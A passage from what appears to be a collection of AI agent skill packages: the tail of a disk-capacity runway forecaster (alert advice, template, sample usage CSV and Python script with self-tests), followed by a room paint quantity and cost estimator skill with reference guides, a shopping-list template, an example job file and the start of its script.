Volumes can grow but rarely shrink, so size to the forecast, not far beyond it.
## 4. Alerts that give time to act
- Warn at 80% used or 14 days of runway; page at 90% or 3 days of runway (Prometheus: `predict_linear(node_filesystem_avail_bytes[6h], 4*3600) < 0` style rules).
- Alert on inode use above 85%.
- Review capacity monthly with this skill's report; add growth from planned launches by hand.
FILE:templates/capacity-review.md
# Capacity Review - <service / fleet> - <date>
**Data:** <source>, <first sample> to <last sample> (<time zone>) **Horizon:** <90> days **Reviewer:** <name>
## Runway
| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 90% on | Full on | Suggested size |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## What is growing
| Volume | Main consumer | Evidence | One-off or ongoing |
|---|---|---|---|
| | | | |
## Actions
| Volume | Action | Owner | Due | Gain |
|---|---|---|---|---|
| | | | | |
## Alerts
- Warning: <80% or 14 days runway> - Page: <90% or 3 days runway> - Inodes: <85%>
## Next review
<date>; re-run the forecaster with fresh samples
FILE:examples/fleet-disk-usage.csv
timestamp,volume,used_gb,size_gb
2026-10-01T06:00,db01:/var/lib/postgresql,300.0,500
2026-10-01T06:00,web01:/var/log,21.0,100
2026-10-01T06:00,ci-runner01:/,110.0,200
2026-10-01T06:00,backup-nas:/srv/backups,2100.0,4000
2026-10-02T06:00,db01:/var/lib/postgresql,303.4,500
2026-10-02T06:00,web01:/var/log,24.4,100
2026-10-02T06:00,ci-runner01:/,111.4,200
2026-10-02T06:00,backup-nas:/srv/backups,2105.4,4000
2026-10-03T06:00,db01:/var/lib/postgresql,305.7,500
2026-10-03T06:00,web01:/var/log,26.7,100
2026-10-03T06:00,ci-runner01:/,111.7,200
2026-10-03T06:00,backup-nas:/srv/backups,2109.7,4000
2026-10-04T06:00,db01:/var/lib/postgresql,309.2,500
2026-10-04T06:00,web01:/var/log,30.2,100
2026-10-04T06:00,ci-runner01:/,113.2,200
2026-10-04T06:00,backup-nas:/srv/backups,2115.2,4000
2026-10-05T06:00,db01:/var/lib/postgresql,311.9,500
2026-10-05T06:00,web01:/var/log,32.9,100
2026-10-05T06:00,ci-runner01:/,113.9,200
2026-10-05T06:00,backup-nas:/srv/backups,2119.9,4000
2026-10-06T06:00,db01:/var/lib/postgresql,315.5,500
2026-10-06T06:00,web01:/var/log,22.5,100
2026-10-06T06:00,ci-runner01:/,115.5,200
2026-10-06T06:00,backup-nas:/srv/backups,2125.5,4000
2026-10-07T06:00,db01:/var/lib/postgresql,317.6,500
2026-10-07T06:00,web01:/var/log,24.6,100
2026-10-07T06:00,ci-runner01:/,115.6,200
2026-10-07T06:00,backup-nas:/srv/backups,2129.6,4000
2026-10-08T06:00,db01:/var/lib/postgresql,321.1,500
2026-10-08T06:00,web01:/var/log,28.1,100
2026-10-08T06:00,ci-runner01:/,117.1,200
2026-10-08T06:00,backup-nas:/srv/backups,2135.1,4000
2026-10-09T06:00,db01:/var/lib/postgresql,324.3,500
2026-10-09T06:00,web01:/var/log,31.3,100
2026-10-09T06:00,ci-runner01:/,118.3,200
2026-10-09T06:00,backup-nas:/srv/backups,2140.3,4000
2026-10-10T06:00,db01:/var/lib/postgresql,326.8,500
2026-10-10T06:00,web01:/var/log,33.8,100
2026-10-10T06:00,ci-runner01:/,118.8,200
2026-10-10T06:00,backup-nas:/srv/backups,2144.8,4000
2026-10-11T06:00,db01:/var/lib/postgresql,330.0,500
2026-10-11T06:00,web01:/var/log,23.0,100
2026-10-11T06:00,ci-runner01:/,120.0,200
2026-10-11T06:00,backup-nas:/srv/backups,2150.0,4000
2026-10-12T06:00,db01:/var/lib/postgresql,333.4,500
2026-10-12T06:00,web01:/var/log,26.4,100
2026-10-12T06:00,ci-runner01:/,121.4,200
2026-10-12T06:00,backup-nas:/srv/backups,2155.4,4000
2026-10-13T06:00,db01:/var/lib/postgresql,335.7,500
2026-10-13T06:00,web01:/var/log,28.7,100
2026-10-13T06:00,ci-runner01:/,121.7,200
2026-10-13T06:00,backup-nas:/srv/backups,2159.7,4000
2026-10-14T06:00,db01:/var/lib/postgresql,339.2,500
2026-10-14T06:00,web01:/var/log,32.2,100
2026-10-14T06:00,ci-runner01:/,123.2,200
2026-10-14T06:00,backup-nas:/srv/backups,2165.2,4000
2026-10-15T06:00,db01:/var/lib/postgresql,341.9,500
2026-10-15T06:00,web01:/var/log,34.9,100
2026-10-15T06:00,ci-runner01:/,123.9,200
2026-10-15T06:00,backup-nas:/srv/backups,2169.9,4000
2026-10-16T06:00,db01:/var/lib/postgresql,345.5,500
2026-10-16T06:00,web01:/var/log,24.5,100
2026-10-16T06:00,ci-runner01:/,130.5,200
2026-10-16T06:00,backup-nas:/srv/backups,2575.5,4000
2026-10-17T06:00,db01:/var/lib/postgresql,347.6,500
2026-10-17T06:00,web01:/var/log,26.6,100
2026-10-17T06:00,ci-runner01:/,135.6,200
2026-10-17T06:00,backup-nas:/srv/backups,2579.6,4000
2026-10-18T06:00,db01:/var/lib/postgresql,351.1,500
2026-10-18T06:00,web01:/var/log,30.1,100
2026-10-18T06:00,ci-runner01:/,142.1,200
2026-10-18T06:00,backup-nas:/srv/backups,2585.1,4000
2026-10-19T06:00,db01:/var/lib/postgresql,354.3,500
2026-10-19T06:00,web01:/var/log,33.3,100
2026-10-19T06:00,ci-runner01:/,148.3,200
2026-10-19T06:00,backup-nas:/srv/backups,2590.3,4000
2026-10-20T06:00,db01:/var/lib/postgresql,356.8,500
2026-10-20T06:00,web01:/var/log,35.8,100
2026-10-20T06:00,ci-runner01:/,153.8,200
2026-10-20T06:00,backup-nas:/srv/backups,2594.8,4000
2026-10-21T06:00,db01:/var/lib/postgresql,360.1,500
2026-10-21T06:00,web01:/var/log,25.1,100
2026-10-21T06:00,ci-runner01:/,160.1,200
2026-10-21T06:00,backup-nas:/srv/backups,2600.1,4000
FILE:scripts/disk_runway.py
#!/usr/bin/env python3
"""Disk capacity runway forecaster (Python 3 standard library only).
Input: CSV with a header row and columns
timestamp,volume,used_gb,size_gb
timestamp is ISO 8601 ("2026-10-01T00:00", "2026-10-01 06:00" or a date); one row per sample,
any order, several volumes in one file. size_gb may change (a resize); the latest value is used.
Model per volume:
- growth rate = least-squares slope of used_gb over time (GB/day), plus R^2 for fit quality;
one-off steps larger than 5% of the size are kept in current usage but removed from the trend
- recent rate = slope over the last 7 days of samples (or the last third if shorter)
- runway to 80/90/95/100% full = (threshold x size - used now) / max(rate, recent rate),
counted from the LAST sample (not from today), so results are reproducible
- suggested size: smallest whole 10 GB step that keeps the volume under 80% for
--horizon days (default 90) at the worse of the two rates
Status / findings (severity):
CRITICAL FULL_SOON 100% within 7 days, or already >= 95% used
HIGH RUNWAY_SHORT 90% within 14 days
MEDIUM RUNWAY_WATCH 80% within 30 days
MEDIUM ACCELERATING recent rate > 1.5x the overall rate (and > 0.1 GB/day)
MEDIUM SUDDEN_JUMP one step grew by more than 5% of the volume size
LOW NOISY_TREND R^2 < 0.5: usage swings (log rotation, temp files); trust less
LOW SHRINKING usage is falling; no runway
LOW FEW_SAMPLES fewer than 4 samples or under 2 days of data
Usage:
python3 disk_runway.py usage.csv
python3 disk_runway.py usage.csv --horizon 180 --json
python3 disk_runway.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import sys
THRESHOLDS = (0.8, 0.9, 0.95, 1.0)
class DataError(ValueError):
pass
def parse_time(s):
s = s.strip().replace("Z", "+00:00")
try:
t = dt.datetime.fromisoformat(s)
except ValueError:
raise DataError(f"bad timestamp {s!r}")
return t.replace(tzinfo=None) if t.tzinfo is None else t.astimezone(dt.timezone.utc).replace(tzinfo=None)
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
need = {"timestamp", "volume", "used_gb", "size_gb"}
if not rd.fieldnames or not need <= {f.strip() for f in rd.fieldnames}:
raise DataError(f"CSV header must contain {', '.join(sorted(need))}")
vols = {}
for n, row in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in row.items() if k}
if not any(row.values()):
continue
try:
used, size = float(row["used_gb"]), float(row["size_gb"])
except ValueError:
raise DataError(f"line {n}: used_gb and size_gb must be numbers")
if size <= 0 or used < 0:
raise DataError(f"line {n}: size_gb must be > 0 and used_gb >= 0")
vols.setdefault(row["volume"] or "(unnamed)", []).append((parse_time(row["timestamp"]), used, size))
if not vols:
raise DataError("no data rows")
return {k: sorted(v) for k, v in vols.items()}
def slope(points):
"""points: [(days, value)] -> (slope per day, r2)"""
n = len(points)
if n < 2:
return 0.0, 0.0
mx = sum(p[0] for p in points) / n
my = sum(p[1] for p in points) / n
sxx = sum((p[0] - mx) ** 2 for p in points)
if sxx == 0:
return 0.0, 0.0
sxy = sum((p[0] - mx) * (p[1] - my) for p in points)
b = sxy / sxx
syy = sum((p[1] - my) ** 2 for p in points)
r2 = 1.0 if syy == 0 else (sxy * sxy) / (sxx * syy)
return b, r2
def analyze(samples, horizon=90):
t0 = samples[0][0]
last_t, used, size = samples[-1]
# one-off steps (> 5% of size in one sample) are removed from the trend, not extrapolated
steps = [samples[i][1] - samples[i - 1][1] for i in range(1, len(samples))]
normal = sorted(x for x in steps if x <= 0.05 * size)
typical = normal[len(normal) // 2] if normal else 0.0
shift, pts = 0.0, []
for i, (t, u, _) in enumerate(samples):
if i and steps[i - 1] > 0.05 * size:
shift += steps[i - 1] - typical
pts.append(((t - t0).total_seconds() / 86400, u - shift))
span = pts[-1][0]
rate, r2 = slope(pts)
cut = pts[-1][0] - 7 if span >= 14 else pts[-1][0] - span / 3
recent_pts = [p for p in pts if p[0] >= cut]
recent, _ = slope(recent_pts) if len(recent_pts) >= 2 else (rate, 0)
worst = max(rate, recent)
pct = used / size
runway = {}
for th in THRESHOLDS:
left = th * size - used
if left <= 0:
runway[th] = (0.0, last_t)
elif worst > 1e-9:
d = left / worst
runway[th] = (d, last_t + dt.timedelta(days=d))
else:
runway[th] = (None, None)
need = used + max(worst, 0) * horizon
suggest = max(size, math.ceil(need / 0.8 / 10) * 10)
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
d100, d90, d80 = runway[1.0][0], runway[0.9][0], runway[0.8][0]
if pct >= 0.95 or (d100 is not None and d100 <= 7):
f("CRITICAL", "FULL_SOON", f"{pct:.0%} used; full in {fmt_days(d100)}")
elif d90 is not None and d90 <= 14:
f("HIGH", "RUNWAY_SHORT", f"90% in {fmt_days(d90)}")
elif d80 is not None and d80 <= 30:
f("MEDIUM", "RUNWAY_WATCH", f"80% in {fmt_days(d80)}")
if rate > 0 and recent > 1.5 * rate and recent > 0.1:
f("MEDIUM", "ACCELERATING", f"last-week rate {recent:.2f} GB/day vs overall {rate:.2f} GB/day")
jumps = [(samples[i][0], samples[i][1] - samples[i - 1][1]) for i in range(1, len(samples))]
big = [j for j in jumps if j[1] > 0.05 * size]
if big:
t, g = max(big, key=lambda j: j[1])
f("MEDIUM", "SUDDEN_JUMP", f"+{g:.1f} GB in one step at {t:%Y-%m-%d %H:%M} (backup, dump, log burst?)")
if len(pts) >= 4 and r2 < 0.5 and worst > 0:
f("LOW", "NOISY_TREND", f"R^2 {r2:.2f}; usage swings, so treat the runway as rough")
if worst < 0:
f("LOW", "SHRINKING", f"usage falling {rate:.2f} GB/day")
if len(pts) < 4 or span < 2:
f("LOW", "FEW_SAMPLES", f"{len(pts)} samples over {span:.1f} days; collect more data")
rank = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
findings.sort(key=lambda x: rank[x["severity"]])
return {"last_sample": last_t.strftime("%Y-%m-%d %H:%M"), "used_gb": round(used, 2), "size_gb": size,
"used_pct": round(pct * 100, 1), "rate_gb_day": round(rate, 3), "recent_rate_gb_day": round(recent, 3),
"r2": round(r2, 3), "samples": len(pts), "span_days": round(span, 2),
"runway": {f"{int(th * 100)}%": {"days": None if d is None else round(d, 1),
"date": None if t is None else t.strftime("%Y-%m-%d")}
for th, (d, t) in runway.items()},
"suggested_size_gb": suggest, "horizon_days": horizon, "findings": findings,
"status": findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH", "MEDIUM") else "OK"}
def fmt_days(d):
if d is None:
return "never at current rate"
if d <= 0:
return "already"
if d < 1:
return f"{d * 24:.0f} h"
return f"{d:.1f} days"
def report(res, horizon):
out = ["# Disk runway report", "", f"Runway uses the worse of the overall and last-week growth rate; suggested size keeps usage under 80% for {horizon} days.", "",
"| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 80% | 90% | 100% | Suggested size |",
"|---|---|---|---|---|---|---|---|---|"]
order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "OK": 3}
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
def cell(k):
x = r["runway"][k]
if x["days"] is None:
return "never"
return "now" if x["days"] == 0 else f"{x['days']} d ({x['date']})"
out.append(f"| {name} | {r['status']} | {r['used_gb']:g} GB ({r['used_pct']}%) | {r['size_gb']:g} GB | "
f"{r['rate_gb_day']} / {r['recent_rate_gb_day']} | {cell('80%')} | {cell('90%')} | {cell('100%')} | "
f"{r['suggested_size_gb']:g} GB |")
out += ["", "## Findings"]
any_f = False
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
for x in r["findings"]:
any_f = True
out.append(f"- **{x['severity']} {x['code']}** ({name}): {x['message']}")
if not any_f:
out.append("- none")
out += ["", "Last samples: " + ", ".join(f"{n} {r['last_sample']} ({r['samples']} samples, {r['span_days']} days, R^2 {r['r2']})" for n, r in sorted(res.items()))]
return "\n".join(out) + "\n"
def run(text, horizon=90):
if horizon <= 0:
raise DataError("horizon must be > 0")
return {name: analyze(s, horizon) for name, s in read_rows(text).items()}
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
b, r2 = slope([(0, 10), (1, 12), (2, 14)])
ok("slope 2/day exact fit", abs(b - 2) < 1e-9 and abs(r2 - 1) < 1e-9)
ok("flat slope 0", slope([(0, 5), (1, 5), (2, 5)])[0] == 0)
hdr = "timestamp,volume,used_gb,size_gb\n"
lin = hdr + "".join(f"2026-10-{d:02d},v,{100 + 2 * d},500\n" for d in range(1, 15))
r = run(lin)["v"]
ok("rate 2 GB/day", abs(r["rate_gb_day"] - 2) < 1e-6)
ok("80% runway (400-128)/2 = 136 d", r["runway"]["80%"]["days"] == 136.0)
ok("runway date from last sample", r["runway"]["100%"]["date"] == "2027-04-18")
ok("healthy volume status OK", r["status"] == "OK" and r["findings"] == [])
ok("suggested size keeps 500", r["suggested_size_gb"] == 500)
r = run(lin, horizon=180)["v"]
ok("180 d horizon suggests 610", r["suggested_size_gb"] == 610)
full = hdr + "".join(f"2026-10-{d:02d},v,{80 + 3 * d},100\n" for d in range(1, 6))
r = run(full)["v"]
ok("95% used is CRITICAL", r["status"] == "CRITICAL" and r["findings"][0]["code"] == "FULL_SOON")
ok("past threshold runway is 0", r["runway"]["90%"]["days"] == 0)
short = hdr + "".join(f"2026-10-{d:02d},v,{50 + 3 * d},100\n" for d in range(1, 8))
r = run(short)["v"]
ok("90% in ~6 days is HIGH", r["status"] == "HIGH")
watch = hdr + "".join(f"2026-10-{d:02d},v,{40 + d},100\n" for d in range(1, 8))
ok("80% in 33 d is OK, 80% in 26 d is MEDIUM", run(watch)["v"]["status"] == "OK" and
run(hdr + "".join(f"2026-10-{d:02d},v,{47 + d},100\n" for d in range(1, 8)))["v"]["status"] == "MEDIUM")
acc = hdr + "".join(f"2026-10-{d:02d},v,{100 + (d if d <= 14 else 14 + 5 * (d - 14))},1000\n" for d in range(1, 22))
r = run(acc)["v"]
ok("accelerating flagged", any(x["code"] == "ACCELERATING" for x in r["findings"]))
ok("recent rate used for runway", r["recent_rate_gb_day"] > r["rate_gb_day"])
jump = hdr + "2026-10-01,v,100,500\n2026-10-02,v,101,500\n2026-10-03,v,140,500\n2026-10-04,v,141,500\n"
r = run(jump)["v"]
ok("sudden jump flagged", any(x["code"] == "SUDDEN_JUMP" for x in r["findings"]))
ok("jump removed from trend (1 GB/day)", abs(r["rate_gb_day"] - 1) < 1e-6 and r["used_gb"] == 141)
noisy = hdr + "".join(f"2026-10-{d:02d},v,{100 + (8 if d % 2 else 0) + 0.3 * d:.1f},500\n" for d in range(1, 21))
ok("noisy trend flagged", any(x["code"] == "NOISY_TREND" for x in run(noisy)["v"]["findings"]))
shr = hdr + "".join(f"2026-10-{d:02d},v,{200 - 3 * d},500\n" for d in range(1, 8))
r = run(shr)["v"]
ok("shrinking flagged and runway never", any(x["code"] == "SHRINKING" for x in r["findings"]) and r["runway"]["100%"]["days"] is None)
few = hdr + "2026-10-01T00:00,v,10,100\n2026-10-01T12:00,v,11,100\n"
ok("few samples flagged", any(x["code"] == "FEW_SAMPLES" for x in run(few)["v"]["findings"]))
multi = hdr + "2026-10-02,b,5,100\n2026-10-01,a,1,100\n2026-10-01,b,4,100\n2026-10-02,a,1,100\n"
r = run(multi)
ok("multiple volumes, unsorted rows", set(r) == {"a", "b"} and r["b"]["rate_gb_day"] == 1)
ok("resize uses latest size", run(hdr + "2026-10-01,v,50,100\n2026-10-02,v,52,200\n")["v"]["size_gb"] == 200)
ok("fmt_days hours", fmt_days(0.5) == "12 h")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + "x,v,1,10\n", "bad timestamp"),
(hdr + "2026-10-01,v,abc,10\n", "bad number"), (hdr + "2026-10-01,v,1,0\n", "zero size")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Forecast when disks fill up from usage samples.")
ap.add_argument("file", nargs="?", help="CSV: timestamp,volume,used_gb,size_gb")
ap.add_argument("--horizon", type=int, default=90, help="days of runway the suggested size must cover (default 90)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
res = run(open(a.file, encoding="utf-8").read(), a.horizon)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res, a.horizon), end="\n" if a.json else "")
return 1 if any(r["status"] in ("CRITICAL", "HIGH") for r in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())Works out how much paint to buy for one or more rooms and what it will cost. Measures walls (minus doors and windows) and ceilings, applies coats, coverage, texture and waste, adds up each paint across rooms, and picks the cheapest can mix with little left over. Flags dark-to-light changes and new plaster that need primer, one-coat plans, suspicious coverage or heights and big leftovers. Includes a stdlib Python estimator with --self-test.
---
name: room-paint-quantity-estimator
description: Works out how much paint to buy for one or more rooms and what it will cost. Measures walls (minus doors and windows) and ceilings, applies coats, coverage, texture and waste, adds up each paint across rooms, and picks the cheapest can mix with little left over. Flags dark-to-light changes and new plaster that need primer, one-coat plans, suspicious coverage or heights and big leftovers. Includes a stdlib Python estimator with --self-test.
---
# Room Paint Quantity Estimator
You help people repainting a home buy the right amount of paint the first time: not three trips to the shop, not a garage full of half-empty cans. From room sizes and the paints they picked, you calculate areas, litres (or gallons), the cheapest cans to buy and the total cost, and you point out the prep steps that change the numbers, such as primer over dark colours or new plaster.
## Files in this skill
- `scripts/paint_estimate.py` - calculates areas, paint per surface, the cheapest can mix per paint, leftovers, total cost and findings (Python 3 standard library only)
- `references/measuring-and-coverage.md` - how to measure rooms, standard door and window sizes, coverage on the label vs reality, texture factors, coats and primer rules
- `references/painting-prep-and-buying-guide.md` - prep order, primer types, finishes per room, tools list, buying tips, storing leftovers
- `templates/paint-shopping-list.md` - a shopping list and room plan to print or take to the shop
- `examples/two-bedroom-flat-refresh.json` - four rooms in a flat with a dark bedroom going light, new drywall in the kids room and three paints in Turkish lira
## Workflow
### 1. Gather the rooms
Ask for each room: length, width and ceiling height, number and size of doors and windows (or use the standard sizes in `references/measuring-and-coverage.md`), which surfaces to paint (walls, ceiling), the current colour (light, medium, dark), the new colour, wall texture, and whether any surface is new plaster or drywall. Ask for the paints with coverage per coat from the can label and the can sizes and prices at their shop. Use metric unless they work in feet and gallons.
### 2. Run the estimator
```
python3 scripts/paint_estimate.py examples/two-bedroom-flat-refresh.json
python3 scripts/paint_estimate.py job.json --json
python3 scripts/paint_estimate.py --self-test
```
Exit code 1 means HIGH findings (measurements that cannot be right, no can mix), 2 means bad input.
### 3. Adjust the plan
Act on findings: add primer (and its own quantity, using its coverage) for DARK_TO_LIGHT and NEW_SURFACE, or raise coats to 3; change one-coat plans to two unless the paint is sold as one-coat over the same colour. Re-run after each change. Use `references/painting-prep-and-buying-guide.md` for finish and tool advice.
### 4. Deliver
Fill `templates/paint-shopping-list.md` with the cans to buy, primer, tools and the order of work. Remind them to buy all cans of one colour from the same batch, or mix (box) them before use.
## Example result
For `examples/two-bedroom-flat-refresh.json`: walls in warm white need 20.87 L -> 1 x 15 L + 1 x 7.5 L (3,640 TRY); the kids room sage green needs 6.87 L -> 1 x 7.5 L (1,450 TRY); ceilings need 8.75 L -> 3 x 3.5 L (1,380 TRY); total 6,470 TRY before primer and tools. Findings: the dark main bedroom needs primer or a third coat, the new drywall in the kids room needs a mist coat or primer, and its one-coat ceiling will look patchy.
## Rules
- Use the coverage printed on the user's paint, not a generic number, whenever they have it.
- Round up to whole cans; never suggest stretching paint by thinning beyond the maker's instructions.
- Mention safety where it matters: ventilation, ladders on stable ground, lead paint testing in homes built before about 1980 before sanding.
- Prices are what the user gives; say that totals exclude primer, tools and labour unless included.
FILE:references/measuring-and-coverage.md
# Measuring and Coverage
## Measuring a room
- Measure length and width at floor level and ceiling height in one or two places; round up to the next 5 cm (or 2 in).
- Wall area = perimeter x height = 2 x (length + width) x height. For L-shaped rooms, add each wall's width x height instead.
- Ceiling area = length x width (add sloped parts separately).
- Subtract doors and windows; leave in anything smaller than about 0.5 m2 (5 sq ft), the paint goes on the frame and cutting-in anyway.
## Standard sizes (when the user does not know)
| Item | Metric | Imperial |
|---|---|---|
| Interior door | 0.8-0.9 x 2.0-2.05 m (about 1.8 m2) | 30-36 x 80 in (about 20 sq ft) |
| Balcony / patio door | 1.6-1.8 x 2.2 m | 6 x 6.7 ft |
| Window | 1.2-1.5 x 1.2-1.4 m | 3 x 4 ft (about 12-15 sq ft) |
| Ceiling height | 2.5-2.8 m (new flats), up to 3.5 m (old buildings) | 8-9 ft |
## Coverage
- The label gives coverage per coat, usually 10-14 m2/L for emulsion (about 350-400 sq ft per US gallon). Real-world coverage is often 10-20% lower; the waste allowance (default 10%) covers rollers, trays and touch-ups.
- Texture factors used by the estimator: smooth x1.0, light texture (woodchip, orange peel, thin plaster) x1.1, rough (bare brick, stucco, popcorn) x1.25.
- Fresh plaster and bare drywall soak paint like a sponge: seal first with a mist coat (emulsion thinned as the maker allows) or a drywall primer.
## Coats
| Situation | Plan |
|---|---|
| Same or similar colour, good surface | 2 coats (1 if the paint is sold as one-coat and the colour is the same) |
| Light over dark | stain-blocking or tinted primer + 2 coats, or 3 coats |
| Dark or strong colour over light | grey-tinted primer + 2 coats; reds and yellows can need 3 |
| New plaster or drywall | mist coat or primer + 2 coats |
| Ceiling | 2 coats of ceiling white; 1 coat looks patchy against the light |
## Quick check by hand
Litres = area x coats x texture / coverage x 1.1. Example: 35 m2 of walls, 2 coats, 10 m2/L, smooth -> 7 L before waste, 7.7 L with 10% waste.
FILE:references/painting-prep-and-buying-guide.md
# Painting Prep and Buying Guide
## Order of work
1. Clear and cover: furniture to the middle, floors covered, switch plates off (power off when working near sockets).
2. Repair: fill cracks and holes, sand flush, wipe dust; wash greasy kitchen walls with sugar soap.
3. Prime where needed (stains, repairs, dark colours, new plaster).
4. Ceiling first, then walls, then trim and doors last.
5. Cut in edges with a brush, then roll in sections while the edge is still wet to avoid lines.
6. Let each coat dry for the time on the can (often 2-4 hours for emulsion) before the next.
## Primer
| Problem | Primer |
|---|---|
| Water stains, smoke, marker | stain-blocking primer (shellac or oil-based for bad stains) |
| Light over dark | white or tinted universal primer |
| New plaster | mist coat or plaster sealer |
| New drywall | drywall (PVA) primer |
| Glossy old paint | sand lightly, then adhesion primer |
Primer coverage is often 8-12 m2/L; estimate it like a paint with 1 coat.
## Finish by room
| Room | Finish | Why |
|---|---|---|
| Ceilings | flat / matte | hides flaws, no glare |
| Living and bedrooms | matte or eggshell | soft look; washable matte for families |
| Kids rooms, hallways | washable matte or eggshell | scrubbable |
| Kitchens and bathrooms | satin or a kitchen/bathroom paint | moisture and grease resistant |
| Doors and trim | satin or semi-gloss | durable, easy to wipe |
## Tools for a typical flat
Rollers (9 in / 23 cm) with an extension pole, a tray or bucket with a grid, angled brushes (5 cm), masking tape, drop sheets, filler and a knife, sandpaper (120-180 grit), a sturdy step ladder, rags, gloves. One roller sleeve per colour.
## Buying tips
- Price per litre usually drops with bigger cans; the estimator compares the actual shop prices.
- Buy all cans of a colour together (same batch). If you open more than one can, mix them in a bucket (boxing) so the colour matches.
- Keep about 0.5 L of each colour for touch-ups.
- Low-VOC paints reduce smell; keep windows open and take breaks anyway.
## Leftovers
Close lids tightly, store upside down above freezing, label with room and date. Do not pour paint down drains; take dried or liquid paint to the local waste or recycling point.
FILE:templates/paint-shopping-list.md
# Paint Shopping List - <home / project> - <date>
**Units:** <metric / imperial> **Waste allowance:** <10%> **Shop:** <name>
## Rooms
| Room | Surface | Area | Coats | Paint | Notes (primer, repairs) |
|---|---|---|---|---|---|
| | | | | | |
## Paint to buy
| Paint (brand, colour code, finish) | Needed | Cans | Price |
|---|---|---|---|
| | | | |
## Primer and supplies
- [ ] Primer: <type>, <qty>
- [ ] Rollers <n>, sleeves <n>, tray, extension pole
- [ ] Brushes <sizes>, masking tape <rolls>, drop sheets <n>
- [ ] Filler, sandpaper, sugar soap
**Total estimate:** <paint> + <primer and supplies> = <total>
## Work order
1. Prep and repairs: <rooms>
2. Primer: <rooms>
3. Ceilings: <rooms>
4. Walls: <rooms>
5. Trim and doors: <rooms>
FILE:examples/two-bedroom-flat-refresh.json
{
"name": "two-bedroom flat refresh before moving in (example prices)",
"units": "metric",
"currency": "TRY",
"waste": 0.1,
"paints": {
"wall matte warm white": {"coverage": 11, "cans": [{"size": 15, "price": 2350}, {"size": 7.5, "price": 1290}, {"size": 2.5, "price": 520}]},
"sage green (kids room)": {"coverage": 10, "cans": [{"size": 7.5, "price": 1450}, {"size": 2.5, "price": 590}, {"size": 0.75, "price": 240}]},
"ceiling white": {"coverage": 12, "cans": [{"size": 15, "price": 1650}, {"size": 3.5, "price": 460}]}
},
"rooms": [
{"name": "living room", "length": 5.4, "width": 4.2, "height": 2.7,
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "balcony door", "w": 1.8, "h": 2.2}, {"type": "window", "w": 1.5, "h": 1.4}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}},
{"name": "main bedroom", "length": 4.0, "width": 3.5, "height": 2.7, "previous": "dark", "new": "light",
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "window", "w": 1.4, "h": 1.4}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}},
{"name": "kids room", "length": 3.4, "width": 3.0, "height": 2.7, "new_surface": true,
"openings": [{"type": "door", "w": 0.8, "h": 2.05}, {"type": "window", "w": 1.2, "h": 1.4}],
"walls": {"paint": "sage green (kids room)", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 1}},
{"name": "hallway", "length": 4.5, "width": 1.2, "height": 2.7, "texture": "light",
"openings": [{"type": "doors", "w": 0.9, "h": 2.05, "count": 5}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}}
]
}
FILE:scripts/paint_estimate.py
#!/usr/bin/env python3
"""Room paint quantity and cost estimator (Python 3 standard library only).
Input: a painting job JSON file:
{"units": "metric", "waste": 0.1, "currency": "TRY",
"paints": {"wall white": {"coverage": 11, "cans": [{"size": 10, "price": 1450}, {"size": 2.5, "price": 450}]}},
"rooms": [{"name": "living room", "length": 5.2, "width": 4.1, "height": 2.7,
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "window", "w": 1.6, "h": 1.4, "count": 2}],
"walls": {"paint": "wall white", "coats": 2},
"ceiling": {"paint": "ceiling white", "coats": 2},
"texture": "smooth", "previous": "dark", "new": "light", "new_surface": false}]}
units: metric (m, m2, coverage m2 per litre, cans in litres) or imperial (ft, sq ft,
coverage sq ft per US gallon, cans in gallons). coverage = per coat, from the paint can.
Areas: walls = 2 x (length + width) x height - openings; ceiling = length x width.
texture: smooth (x1.0), light (x1.1, e.g. woodchip, orange peel), rough (x1.25, brick, stucco)
multiplies the paint needed. waste (default 0.10) adds rollers, trays, touch-ups.
Volume per surface = area x coats x texture / coverage x (1 + waste); volumes for the same paint
are added up across rooms, then the cheapest can mix that covers it is chosen (fewer litres
left over on ties).
Findings: OPENINGS_TOO_LARGE (HIGH), NO_CAN_MIX (HIGH), DARK_TO_LIGHT and NEW_SURFACE
(MEDIUM: primer or an extra coat), ONE_COAT, COVERAGE_SUSPECT, ODD_HEIGHT, BIG_LEFTOVER (LOW).
Usage:
python3 paint_estimate.py job.json
python3 paint_estimate.py job.json --json
python3 paint_estimate.py --self-test
Exit code: 0 OK, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import math
import sys
TEXTURE = {"smooth": 1.0, "light": 1.1, "rough": 1.25}
